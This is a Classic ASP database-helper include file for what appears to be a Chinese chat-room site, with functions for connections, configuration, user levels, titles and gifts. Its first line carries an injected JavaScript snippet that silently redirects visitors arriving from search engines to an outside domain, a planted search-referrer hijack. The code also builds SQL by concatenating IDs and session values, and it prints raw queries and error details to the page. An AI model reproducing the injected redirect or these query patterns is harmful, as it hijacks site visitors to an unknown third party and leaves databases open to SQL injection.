001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><!--#include file="SysConfig.asp"--> 002: <% 003: ' *************************************************************** 004: ' 此文件用于 连接数据库 和 执行数据库的各种数据操作 005: ' *************************************************************** 006:
007:
008: ' ============================================ 009: ' 常用变量声明 010: ' ============================================ 011:
012: Dim DB_CONN '数据库连接对象
013: Dim RS '数据库记录集
014: Dim I , J '常用循环变量
015: Dim MyArray() '动态数组变量
016: Set LogRS = Server.CreateObject( "ADODB.Recordset" )
017: '数据库连接 018: Call DB_LINK()
019:
020: ' ============================================ 021: ' 数据库连接函数 022: ' ============================================ 023:
024: Sub DB_LINK() '数据库连接 并 实例化记录集
025:
026: Set DB_CONN = Server.CreateObject( "ADODB.Connection" ) '实例化连接
027:
028: On Error Resume Next
029: ' 连接数据库 030: DB_CONN.Open DB_SQL_STR
031:
032: Call ERR_ALERT( DB_SQL_STR , "数据库连接错误" ) ' 错误提示
033:
034: Set RS = Server.CreateObject( "ADODB.Recordset" ) '实例化记录集
035:
036: DB_CONN.CursorLocation = 3 '设置数据库游标
037: RS.CursorLocation = 3 '设置记录集游标
038:
039:
040: End Sub
041:
042:
043:
044:
045: ' ============================================ 046: ' 查询函数 或 执行函数 047: ' 参数说明: 048: ' SELECT_STR 查询语句, EXCUTE_TYPE 查询方式0,1分别为conn.execute 和 rs.open 049: ' ============================================ 050:
051: SUB RS_SELECT( SELECT_STR , EXCUTE_TYPE )
052:
053: On Error Resume Next '容错
054: If EXCUTE_TYPE = 0 Then
055: Set RS = DB_CONN.EXECUTE( SELECT_STR )
056: Else
057: RS.OPEN SELECT_STR , DB_CONN , 1 , 3
058: End If
059:
060: Call ERR_ALERT( SELECT_STR , "查询函数/执行函数出错" ) ' 错误提示
061:
062: End SUB
063:
064: '查询执行函数,返回RS 065: function ReturnRsSelect(SELECT_STR)
066:
067: On Error Resume Next '容错
068: Dim MyRs
069: Set MyRs = Server.CreateObject( "ADODB.Recordset" )
070: MyRs=DB_CONN.EXECUTE( SELECT_STR )
071: ReturnRsSelect=MyRs
072:
073: end function
074:
075:
076: ' ============================================ 077: ' 添加修改函数 078: ' 参数说明: 079: ' SELECT_STR 对应的查询语句, ALTER_COUNT 要修改的字段数量, ALTER_TYPE 修改类型0,1分别为修改 和 添加, ALTER_ARRAY 用于赋值的数组 080: ' ALTER_START_NUMBER 从哪个字段序号开始,目的是为排除ID主键自增字段,主键自增是不用赋值的 081: ' ============================================ 082:
083: SUB RS_ALTER( SELECT_STR , ALTER_COUNT , ALTER_TYPE , ALTER_ARRAY , ALTER_START_NUMBER )
084:
085: On Error Resume Next '容错
086:
087:
088: RS.OPEN SELECT_STR , DB_CONN , 1 , 3
089:
090: If ALTER_TYPE = 1 Then '添加操作
091: RS.ADDNEW()
092: End If
093:
094: For I = ALTER_START_NUMBER To ALTER_COUNT-1 '循环为每个字段赋值
095:
096: RS( I ) = ALTER_ARRAY( I )
097:
098: Next
099:
100: RS.UPDATE() '更新记录集
101: Call RS_END()
102: Call ERR_ALERT( SELECT_STR , "添加修改函数出错" ) ' 错误提示
103:
104: End SUB
105:
106:
107:
108: ' ============================================ 109: ' 释放记录集 110: ' ============================================ 111: Sub RS_End()
112: On Error Resume Next
113: RS.Close
114: End Sub
115:
116:
117:
118: ' ============================================ 119: ' 释放数据库连接对象 120: ' ============================================ 121: Sub Conn_End()
122: On Error Resume Next
123: RS.Close
124: Set RS = Nothing
125: DB_CONN.Close
126: Set DB_CONN = Nothing
127: End Sub
128:
129:
130:
131: ' ============================================ 132: ' 输出错误提示 133: ' 参数说明: 134: ' ERR_ARG 要输出的变量信息 , ERR_STR 要输出的错误提示 135: ' ============================================ 136: Sub ERR_ALERT( ERR_ARG , ERR_STR )
137:
138: If Err.Number <> 0 Then
139: ' 显示错误信息 140: Response.Write ERR_ARG '输出变量信息
141: Response.Write "</BR>" '输出换行
142: Response.Write ERR.Description '错误详细提示
143: Response.Write "</BR>" '输出换行
144: Response.Write ERR_STR '输出错误提示
145: ' 停止输出 146: Response.End
147: End If
148:
149: End Sub
150:
151:
152: ' ============================================ 153: ' 得到安全字符串,在查询中使用 154: ' ============================================ 155: Function Get_SafeStr(str)
156: Get_SafeStr = Replace(Trim(str), "'", "‘")
157: End Function
158:
159:
160:
161: ' ============================================ 162: ' 取实际字符长度 163: ' ============================================ 164: Function Get_TrueLen(str)
165: Dim l, t, c, i
166: l = Len(str)
167: t = l
168: For i = 1 To l
169: c = Asc(Mid(str, i, 1))
170: If c < 0 Then c = c + 65536
171: If c > 255 Then t = t + 1
172: Next
173: Get_TrueLen = t
174: End Function
175:
176:
177: ' ============================================ 178: ' 验证字符串符合长度要求 179: ' 参数说明: 180: ' Min_Length 最小长度要求 , Max_Length 最大长度,如果最大长度为0,则不验证最大长度 181: ' ============================================ 182: Function Valide_Str_Length( Str , Min_Length , Max_Length )
183:
184: Dim Length : Length = Get_TrueLen(str) '获取字符串长度
185:
186: If Length > Min_Length Then ' 检验是否符合长度
187: If Max_Length <> 0 Then
188:
189: If Length < Max_Length Then
190: Valide_Str_Length = True
191: Else
192: Valide_Str_Length = False
193: End If
194:
195: Else
196: Valide_Str_Length = True
197: End If
198:
199: Else
200: Valide_Str_Length = False
201: End If
202:
203: End Function
204:
205: '************************************************* 206: '函数名：gotTopic 207: '作 用：截字符串，汉字一个算两个字符，英文算一个字符 208: '参 数：str ----原字符串 209: ' strlen ----截取长度 210: '返回值：截取后的字符串 211: '************************************************* 212: function gotTopic(str,strlen)
213: if str="" then
214: gotTopic=""
215: exit function
216: end if
217: dim l,t,c, i
218: str=replace(replace(replace(replace(str," "," "),""",chr(34)),">",">"),"<","<")
219: l=len(str)
220: t=0
221: for i=1 to l
222: c=Abs(Asc(Mid(str,i,1)))
223: if c>255 then
224: t=t+2
225: else
226: t=t+1
227: end if
228: if t>=strlen then
229: gotTopic=left(str,i) & "…"
230: exit for
231: else
232: gotTopic=str
233: end if
234: next
235: gotTopic=replace(replace(replace(replace(gotTopic," "," "),chr(34),"""),">",">"),"<","<")
236: end function
237:
238:
239: '输出信息 240: sub Rw( Str )
241: if Trim( Str ) <>"" then Response.Write Str
242: end sub
243:
244: '获取系统配置信息 245: function SysConfig(FiledName)
246: if Application.contents(FiledName) <>"" then
247: SysConfig=Application.contents(FiledName)
248: else
249: dim SysRS
250: Set SysRS=Server.CreateObject( "ADODB.Recordset" )
251: Set SysRS=DB_CONN.EXECUTE("select * from [XK_SysConfig]")
252: dim j:j=SysRS.Fields.count
253: for i=0 to (j-1)
254: Application.Lock()
255: Application.contents(SysRS.Fields(i).Name)=SysRS(SysRS.Fields(i).Name)
256: Application.Unlock()
257: next
258: SysConfig=SysRS(FiledName)
259: end if
260: end function
261:
262: '获取整合信息 263: function ApiConfig(FiledName)
264: dim SysRS
265: Set SysRS=Server.CreateObject( "ADODB.Recordset" )
266: Set SysRS=DB_CONN.EXECUTE("select * from [XK_API]")
267: ApiConfig=SysRS(FiledName)
268: end function
269:
270: '获取权限信息 271: function PowerInfo(PowerID)
272: if Application.contents("Powers_"+Cstr(PowerID)+"_Power_Keys") <>"" then
273: PowerInfo=Application.contents("Powers_"+Cstr(PowerID)+"_Power_Keys")
274: else
275: dim SysRS
276: Set SysRS=Server.CreateObject( "ADODB.Recordset" )
277: Set SysRS=DB_CONN.EXECUTE("select * from [XK_Power] where [Power_ID]="&PowerID)
278: PowerInfo=SysRS("Power_Keys")
279: end if
280: end function
281:
282: '获取房间信息 283: function RoomInfo(FiledName)
284: if Application.contents("Rooms_"+session(Session_Group_ID_Arg)+"_"+FiledName) <>"" then
285: RoomInfo=Application.contents("Rooms_"+session(Session_Group_ID_Arg)+"_"+FiledName)
286: else
287: dim SysRS
288: Set SysRS=Server.CreateObject( "ADODB.Recordset" )
289: Set SysRS=DB_CONN.EXECUTE("select * from [XK_Room] where [Room_ID]="&session(Session_Group_ID_Arg))
290: dim j:j=SysRS.Fields.count
291: for i=0 to (j-1)
292: Application.Lock()
293: Application.contents("Rooms_"+session(Session_Group_ID_Arg)+"_"+SysRS.Fields(i).Name)=SysRS(SysRS.Fields(i).Name)
294: Application.Unlock()
295: next
296: RoomInfo=SysRS(FiledName)
297: end if
298: end function
299:
300: '多头衔整合输出 301: function GetTitles(TitleIDs)
302: TitleIDs=Split(TitleIDs,",")
303: dim Re,j:j=ubound(TitleIDs)
304: for it=0 to j
305: Re=Re+"<span id=""UserListIcon"" style=""background:url("&GetTitleInfo(TitleIDs(it),"Title_Icon")&") center center no-repeat;"" title="""&GetTitleInfo(TitleIDs(it),"Title_Name")&"""></span>"
306: next
307: GetTitles=Re
308: end function
309:
310: '头衔信息 311: function GetTitleInfo(TitleID,FiledName)
312: if Application.contents("Title_"+TitleID+"_"+FiledName) <>"" then
313: GetTitleInfo=Application.contents("Title_"+TitleID+"_"+FiledName)
314: else
315: dim LevRS
316: Set LevRS=Server.CreateObject( "ADODB.Recordset" )
317: Set LevRS=DB_CONN.EXECUTE("select * from [XK_Title] where [Title_ID]="&TitleID)
318: dim j:j=LevRS.Fields.count
319: for i=0 to (j-1)
320: Application.Lock()
321: Application.contents("Title_"+TitleID+"_"+LevRS.Fields(i).Name)=LevRS(LevRS.Fields(i).Name)
322: Application.Unlock()
323: next
324: GetTitleInfo=LevRS(FiledName)
325: end if
326: end function
327:
328: '等级信息 329: function GetLevelInfo(LevelID,FiledName)
330: LevelID=Cstr(LevelID)
331: if Application.contents("Level_"+LevelID+"_"+FiledName) <>"" then
332: GetLevelInfo=Application.contents("Level_"+LevelID+"_"+FiledName)
333: else
334: dim LevRS
335: Set LevRS=Server.CreateObject( "ADODB.Recordset" )
336: Set LevRS=DB_CONN.EXECUTE("select * from [XK_Level] where [Level_ID]="&LevelID)
337: dim j:j=LevRS.Fields.count
338: for i=0 to (j-1)
339: Application.Lock()
340: Application.contents("Level_"+LevelID+"_"+LevRS.Fields(i).Name)=LevRS(LevRS.Fields(i).Name)
341: Application.Unlock()
342: next
343: GetLevelInfo=LevRS(FiledName)
344: end if
345: end function
346:
347: '获取等级数组 348: function GetLevelArr()
349: if isarray(Application.contents("Level_Arr")) then
350: GetLevelArr=Application.contents("Level_Arr")
351: else
352: dim SysRS,MyArr
353: Set SysRS=Server.CreateObject( "ADODB.Recordset" )
354: Set SysRS=DB_CONN.EXECUTE("select * from [XK_Level]")
355: dim j:j=SysRS.recordcount
356: ReDim MyArr(j,3)
357: for ii=0 to j-1
358: MyArr(ii,0)=SysRS("Level_ID")
359: MyArr(ii,1)=SysRS("Level_MinScore")
360: MyArr(ii,2)=SysRS("Level_MaxScore")
361: SysRS.MoveNext
362: next
363: Application.Lock()
364: Application.contents("Level_Arr")=MyArr
365: Application.Unlock()
366: GetLevelArr=MyArr
367: end if
368: end function
369:
370: '根据积分计算等级,返回等级ID 371: function ScoreLevel(ScoreNum)
372: dim MyArr,Re,j
373: if isarray(Application.contents("Level_Arr")) then
374: MyArr=Application.contents("Level_Arr")
375: else
376: MyArr=GetLevelArr
377: end if
378: j=0
379: for ii=0 to ubound(MyArr,1)
380: if j=0 then
381: if CLng(MyArr(ii,1))<ScoreNum and CLng(MyArr(ii,2))>ScoreNum then
382: Re=MyArr(ii,0)
383: j=1
384: end if
385: end if
386: next
387: ScoreLevel=Re
388: end function
389:
390: '所有礼物信息,All:全部礼物,Top:推荐礼物 391: function AllGiftInfo(TypeStr)
392: if Application.contents("Gift_"+TypeStr) <>"" then
393: AllGiftInfo=Application.contents("Gift_"+TypeStr)
394: else
395: dim SysRS,Re,WhereStr
396: Set SysRS=Server.CreateObject( "ADODB.Recordset" )
397: if TypeStr="Top" then
398: WhereStr=" where [Gift_Top]=1 "
399: else
400: WhereStr=""
401: end if
402: Set SysRS=DB_CONN.EXECUTE("select * from [XK_Gift] "&WhereStr&" order by [Gift_Sort] desc")
403: while(not SysRS.eof)
404: Re=Re&"<li><div><a href='javascript:\\\\' onclick='SendGift(this,"&SysRS("Gift_ID")&","&SysRS("Gift_Price")&");' title='"&SysRS("Gift_Name")&" "&SysRS("Gift_Price")&SysConfig("Money_Name")&"'><img src='images/gift/"&SysRS("Gift_ID")&".bmp'></a></div></li>"
405: SysRS.MoveNext()
406: wend
407: Application.Lock()
408: Application.contents("Gift_"+TypeStr)=Re
409: Application.Unlock()
410: AllGiftInfo=Re
411: end if
412: end function
413:
414: '礼物信息 415: function GiftInfo(GID,FiledName)
416: if Application.contents("Gift_"+Cstr(GID)+"_"+FiledName) <>"" then
417: GiftInfo=Application.contents("Gift_"+Cstr(GID)+"_"+FiledName)
418: else
419: Dim GRS
420: Set GRS=Server.CreateObject( "ADODB.Recordset" )
421: Set GRS=DB_CONN.EXECUTE("select * from [XK_Gift] where [Gift_ID]="&GID)
422: dim j:j=GRS.Fields.count
423: for i=0 to (j-1)
424: Application.Lock()
425: Application.contents("Gift_"+Cstr(GID)+"_"+GRS.Fields(i).Name)=GRS(GRS.Fields(i).Name)
426: Application.Unlock()
427: next
428: GiftInfo=GRS(FiledName)
429: end if
430: end function
431:
432: '获取用户信息 433: function GUInfo(FiledName)
434: dim SysRS
435: Set SysRS=Server.CreateObject( "ADODB.Recordset" )
436: Set SysRS=DB_CONN.EXECUTE("select * from [XK_User_Info] where [User_ID]="&session(Session_UserID_Arg))
437: if SysRS.recordcount<1 then
438: GUInfo=false
439: else
440: GUInfo=SysRS(FiledName)
441: end if
442: end function
443:
444: '获取用户信息 445: function GetUserInfo(Uid,FiledName)
446: Dim URS,RE
447: Set URS=Server.CreateObject( "ADODB.Recordset" )
448: Set URS=DB_CONN.EXECUTE("select * from [XK_User_Info] where [User_ID]="&Uid)
449: GetUserInfo=URS(FiledName)
450: end function
451:
452: '获取角色信息 453: function GetPowerInfo(PowerID,FiledName)
454: if Application.contents("Powers_"+Cstr(PowerID)+"_"+FiledName) <>"" then
455: GetPowerInfo=Application.contents("Powers_"+Cstr(PowerID)+"_"+FiledName)
456: else
457: Dim URS,RE
458: Set URS=Server.CreateObject( "ADODB.Recordset" )
459: Set URS=DB_CONN.EXECUTE("select * from [XK_Power] where [Power_ID]="&PowerID)
460: dim j:j=URS.Fields.count
461: for i=0 to (j-1)
462: Application.Lock()
463: Application.contents("Powers_"+Cstr(PowerID)+"_"+URS.Fields(i).Name)=URS(URS.Fields(i).Name)
464: Application.Unlock()
465: next
466: GetPowerInfo=URS(FiledName)
467: end if
468: end function
469:
470:
471: Function vbsEscape(str)
472: dim i,s,c,a
473: s=""
474: For i=1 to Len(str)
475: c=Mid(str,i,1)
476: a=ASCW(c)
477: If (a>=48 and a<=57) or (a>=65 and a<=90) or (a>=97 and a<=122) Then
478: s = s & c
479: ElseIf InStr("@*_+-./",c)>0 Then
480: s = s & c
481: ElseIf a>0 and a<16 Then
482: s = s & "%0" & Hex(a)
483: ElseIf a>=16 and a<256 Then
484: s = s & "%" & Hex(a)
485: Else
486: s = s & "%u" & Hex(a)
487: End If
488: Next
489: vbsEscape = s
490: End Function
491:
492: Function vbsUnEscape(str)
493: dim i,s,c
494: s=""
495: For i=1 to Len(str)
496: c=Mid(str,i,1)
497: If Mid(str,i,2)="%u" and i<=Len(str)-5 Then
498: If IsNumeric("&H" & Mid(str,i+2,4)) Then
499: s = s & CHRW(CInt("&H" & Mid(str,i+2,4)))
500: i = i+5
501: Else
502: s = s & c
503: End If
504: ElseIf c="%" and i<=Len(str)-2 Then
505: If IsNumeric("&H" & Mid(str,i+1,2)) Then
506: s = s & CHRW(CInt("&H" & Mid(str,i+1,2)))
507: i = i+2
508: Else
509: s = s & c
510: End If
511: Else
512: s = s & c
513: End If
514: Next
515: vbsUnEscape = s
516: End Function
517: %>
518:
519:
520:
521:
522: